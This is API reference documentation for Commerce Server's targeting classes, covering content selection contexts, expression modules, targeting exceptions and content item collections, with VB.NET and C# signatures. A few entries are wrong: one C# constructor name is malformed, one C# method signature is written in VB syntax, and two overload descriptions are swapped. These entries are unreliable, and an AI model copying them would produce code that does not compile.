CommerceContentSelectionModule.ContentSelectionContexts Property (BCL)

The ContentSelectionContexts property is a read-only ContentSelectionContextCollection that was built in the contentSelection portion of the web.config file.

Definition

[Visual Basic .NET]
Public ReadOnly Property ContentSelectionContexts As ContentSelectionContextCollection
[C#]
public ContentSelectionContextCollection ContentSelectionContexts {get;}

Property Value

ContentSelectionContextCollection object that was built in the contentSelection portion of the web.config file.

Remarks

The value will be null if the CommerceContentSelectionModule object was not configured in the web.config file. ASP .NET pages should reference this through the CommerceContext.Current.TargetingSystem.ExpressionEvaluator property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceExpressionModule Class (BCL)

Creates a default ExpressionEvaluator object for the site.

Public Instance Constructor

Constructor | Description
CommerceExpressionModule Constructor | Creates a new instance of the CommerceExpressionModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ExpressionEvaluator | Gets the single instance of the ExpressionEvaluator object for use on the site.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceExpressionModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceExpressionModule Constructor | Creates a new instance of the CommerceExpressionModule class.


CommerceExpressionModule Constructor (BCL)

Use this method to create a new instance of the CommerceExpressionModule class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceExpressionModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceExpressionModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceExpressionModule.Init (HttpApplication) Method (BCL)

Use this method to subscribe the class to application BeginRequest events.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The HttpApplication instance that created this module.
[C#]
appInstance
The HttpApplication instance that created this module.

Implements

System.Web.IHttpModule

Remarks

The CommerceExpressionModule class does not subscribe to any application events.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceExpressionModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ExpressionEvaluator | Gets the single instance of the ExpressionEvaluator object for use on the site.


CommerceExpressionModule.ExpressionEvaluator Property (BCL)

The ExpressionEvaluator property is a read-only ExpressionEvaluator that gets the single instance of the ExpressionEvaluator object for use on the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property ExpressionEvaluator As ExpressionEvaluator
[C#]
public ExpressionEvaluator ExpressionEvaluator {get;}

Property Value

The single instance of the ExpressionEvaluator object for use on the site.

Remarks

Creates the instance of ExpressionEvaluator on first access. The value will be null if the CommerceContentSelectionModule is not configured in the web.config file. ASP.NET pages should reference this through the CommerceContext.Current.TargetingSystem.ExpressionEvaluator property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Class (BCL)

Exception thrown when the profiles collection contains profiles other than User and TargetingContext.

Public Instance Constructor

Constructor | Description
CommerceTargetingException Constructor | Creates a new instance of the CommerceTargetingException class.
CommerceTargetingException Constructor(String) | Creates a new instance of the CommerceTargetingException class with the specified message.
CommerceTargetingException Constructor(String, Exception) | Creates a new instance of the CommerceTargetingException class with the specified message and inner exception.
CommerceTargetingException Constructor(String, COMException) | Creates a new instance of the CommerceTargetingException class with the specified message and the inner COM exception.

Protected Instance Constructor

Constructor | Description
CommerceTargetingException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceTargetingException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceTargetingException Constructor | Creates a new instance of the CommerceTargetingException class.
CommerceTargetingException Constructor(String) | Creates a new instance of the CommerceTargetingException class with the specified message.
CommerceTargetingException Constructor(String, Exception) | Creates a new instance of the CommerceTargetingException class with the specified message and inner exception.
CommerceTargetingException Constructor(String, COMException) | Creates a new instance of the CommerceTargetingException class with the specified message and the inner COM exception.

Protected Instance Constructor

Constructor | Description
CommerceTargetingException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceTargetingException class with the specified serialization information and streaming context.


CommerceTargetingException Constructor (BCL)

Use this method to create a new instance of the CommerceTargetingException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceTargetingException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceTargetingException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceTargetingException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceTargetingException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceTargetingException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Constructor (String, COMException) (BCL)

Use this method to create a new instance of the CommerceTargetingException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal comException As System.Runtime.InteropServices.COMException _
)
[C#]
public CommerceTargetingException(
  System.String message,
  System.Runtime.InteropServices.COMException comException
);

Parameters

[Visual Basic .NET]
message
The error message.
comException
The inner COM exception.
[C#]
message
The error message.
comException
The inner COM exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceTargetingException class with the specified message and the inner COM exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceTargetingSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The error message.
inner
The inner COM exception.
[C#]
message
The error message.
inner
The inner COM exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceTargetingException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


ContentItemCollection Class (BCL)

A ContentItemCollection class represents a set of rows in a ContentList object.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the dictionary objects to an array, starting at a particular array index.
Dispose | Releases resources used by this object.
GetEnumerator | Supports enumeration of the row dictionaries in the collection.

Public Instance Properties

Property | Description
Count | Gets the number of dictionaries (rows) contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(Int32) | Indexer to retrieve a content item based on its item ID.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the dictionary objects to an array, starting at a particular array index.
Dispose | Releases resources used by this object.
GetEnumerator | Supports enumeration of the row dictionaries in the collection.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


ContentItemCollection.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the dictionary objects to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.GetEnumerator Method (BCL)

Use this method to support enumeration of the row dictionaries in the collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

IEnumerator for enumerating the row dictionaries in the collection.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of dictionaries (rows) contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(Int32) | Indexer to retrieve a content item based on its item ID.
SyncRoot | Gets an object that can be used for synchronized access to the collection.


ContentItemCollection.Count Property (BCL)

The Count property is a read-only integer that gets the number of dictionaries (rows) contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of dictionaries (rows) contained in the collection.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean that indicates whether access to the collection is synchronized.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.Item Property (BCL)

The Item property is a read-only IDictionary that is retrieved based its item ID.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal contentItemID As System.Int32 _
) As Microsoft.CommerceServer.Runtime.IDictionary
[C#]
public Microsoft.CommerceServer.Runtime.IDictionary Item(
  System.Int32 contentItemID
) {get;}

Parameters

[Visual Basic .NET]
contentItemID
The item ID of the IDictionary to retrieve.
[C#]
contentItemID
The item ID of the IDictionary to retrieve.

Property Value

The value of the contentItemID parameter.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used for synchronized access to the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

An object that can be used for synchronized access to the collection.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContext Class (BCL)

Represents an application context for the Content Selection Framework content selection. For example, advertising and discounts each have their own ContentSelectionContext object to specify components such as the pipeline and the cache that should be used by the ContentSelector object.

Public Instance Constructor

Constructor | Description
ContentSelectionContext Constructor(String, ContentSelectionPipeline, ContentSelectionPipeline, String, String, ExpressionEvaluator, DebugContext) | Creates a new instance of the ContentSelectionContext class.

Public Instance Methods

Method | Description
GetEnumerator | Gets an enumerator for enumerating the keys in the dictionary of key/value pairs that this selection context object represents.
GetSelector | Gets a ContentSelector object that can be used to retrieve content using the current ContentSelectionContext object.

Public Instance Properties

Property | Description
Item(String) | Indexer used to get or set a value in the dictionary.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext Constructor (BCL)

Public Instance Constructor

Constructor | Description
ContentSelectionContext Constructor(String, ContentSelectionPipeline, ContentSelectionPipeline, String, String, ExpressionEvaluator, DebugContext) | Creates a new instance of the ContentSelectionContext class.

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext Constructor (String, ContentSelectionPipeline, ContentSelectionPipeline, String, String, ExpressionEvaluator, DebugContext) (BCL)

Use this method to create a new instance of the ContentSelectionContext class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal name As System.String, _
  ByVal selectionPipeline As ContentSelectionPipeline, _
  ByVal eventPipeline As ContentSelectionPipeline, _
  ByVal cacheName As System.String, _
  ByVal redirectUrl As System.String, _
  ByVal expressionEvaluator As ExpressionEvaluator, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ContentSelectionContext(
  System.String name,
  ContentSelectionPipeline selectionPipeline,
  ContentSelectionPipeline eventPipeline,
  System.String cacheName,
  System.String redirectUrl,
  ExpressionEvaluator expressionEvaluator,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
name
The name of the ContentSelectionContext object. May not be null.
selectionPipeline
The Content Selection Framework (CSF) pipeline. May not be null.
eventPipeline
The event recording pipeline. May be null.
cacheName
The name of the cache that contains content for this selection application. May be null.
redirectUrl
The name of the URL to send events through for recording. May be null.
expressionEvaluator
The Expression Evaluator instance. May be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.
[C#]
name
The name of the ContentSelectionContext object. May not be null.
selectionPipeline
The Content Selection Framework (CSF) pipeline. May not be null.
eventPipeline
The event recording pipeline. May be null.
cacheName
The name of the cache that contains content for this selection application. May be null.
redirectUrl
The name of the URL to send events through for recording. May be null.
expressionEvaluator
The Expression Evaluator instance. May be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.

Remarks

Throws ArgumentNullException if any of the required parameters were passed as null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext Methods (BCL)

Public Instance Methods

Method | Description
GetEnumerator | Gets an enumerator for enumerating the keys in the dictionary of key/value pairs that this selection context object represents.
GetSelector | Gets a ContentSelector object that can be used to retrieve content using the current ContentSelectionContext object.

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext.GetEnumerator Method (BCL)

Use this method to get an enumerator for enumerating the keys in the dictionary of key/value pairs that this selection context object represents.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

An IEnumerator object for enumerating key names (strings) in the dictionary.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext.GetSelector Method (BCL)

Use this method to get a ContentSelector object that can be used to retrieve content using the current ContentSelectionContext object.

Definition

[Visual Basic .NET]
Public Function GetSelector( _
) As ContentSelector
[C#]
public ContentSelector GetSelector(
);

Return Value

ContentSelector object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Indexer used to get or set a value in the dictionary.

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext.Item Property (BCL)

The Item property is a read/write object that gets or set a value in the dictionary.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal key As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String key
) {get; set;}

Parameters

[Visual Basic .NET]
key
The dictionary key of the value to get or set.
[C#]
key
The dictionary key of the value to get or set.

Property Value

Value of the dictionary to get or set.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContextCollection Class (BCL)

Represents a collection of ContentSelectionContext objects.

Public Instance Constructor

Constructor | Description
ContentSelectionContextCollection Constructor | Creates a new instance of the ContentSelectionContextCollection class.

Public Instance Methods

Method | Description
Add(String, ContentSelectionContext) | Adds a ContentSelectionContext class to the collection.
CopyTo(Array, Int32) | Copies the resources to an array, starting at a particular array index.
GetEnumerator | Supports iteration over the collection.

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns false.
Item(String) | Indexer to allow for accessing a ContentSelectionContext object by name.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns a reference to the current object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
ContentSelectionContextCollection Constructor | Creates a new instance of the ContentSelectionContextCollection class.


ContentSelectionContextCollection Constructor (BCL)

Use this method to create a new instance of the ContentSelectionContextCollection class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public ContentSelectionContextCollection(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(String, ContentSelectionContext) | Adds a ContentSelectionContext object to the collection.
CopyTo(Array, Int32) | Copies the resources to an array, starting at a particular array index.
GetEnumerator | Supports iteration over the collection.


ContentSelectionContextCollection.Add (String, ContentSelectionContext) Method (BCL)

Use this method to add a ContentSelectionContext object to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal name As System.String, _
  ByVal context As ContentSelectionContext _
)
[C#]
public void Add(
  System.String name,
  ContentSelectionContext context
);

Parameters

[Visual Basic .NET]
name
The name of the context to add. May not be null.
context
The ContentSelectionContext object. May not be null.
[C#]
name
The name of the context to add. May not be null.
context
The ContentSelectionContext object. May not be null.

Remarks

Throws ArgumentNullException if one of the required parameters was passed as null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the resources to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection.GetEnumerator Method (BCL)

Use this method to support iteration over the collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

An enumerator for enumerating the values in the collection.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns false.
Item(String) | Indexer to allow for accessing a ContentSelectionContext object by name.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns a reference to the current object.


ContentSelectionContextCollection.Count Property (BCL)

The Count property is a read-only integer that gets the number of elements contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of elements contained in the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized. This implementation always returns false.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean that indicates whether access to the collection is synchronized. This implementation always returns false.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection.Item Property (BCL)

The Item property is a read-only ContentSelectionContext object that allows for accessing a ContentSelectionContext object by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal name As System.String _
) As ContentSelectionContext
[C#]
public ContentSelectionContext Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
The name of the ContentSelectionContext object.
[C#]
name
The name of the ContentSelectionContext object.

Property Value

The value of the ContentSelectionContext object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used to synchronize access to the collection. This implementation always returns a reference to the current object.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

A reference to the current object.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelector Class (BCL)

Invokes Content Selection Framework (CSF) pipelines.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetContent | Primary method of the ContentSelector object. It sets up the Order and Pipe Context dictionaries and executes the CSF pipeline that selects content. The formatted content is returned in a StringCollection object.
GetEnumerator | Returns an enumerator allowing the keys of the ContentSelector dictionary to be enumerated.

Public Instance Properties

Property | Description
AllContentItems | Returns a ContentItemCollection object containing all of the content items that were retrieved from the cache during the last call to the GetContent method.
Item(String) | Gets or sets a value in the ContentSelector dictionary of name/value pairs.
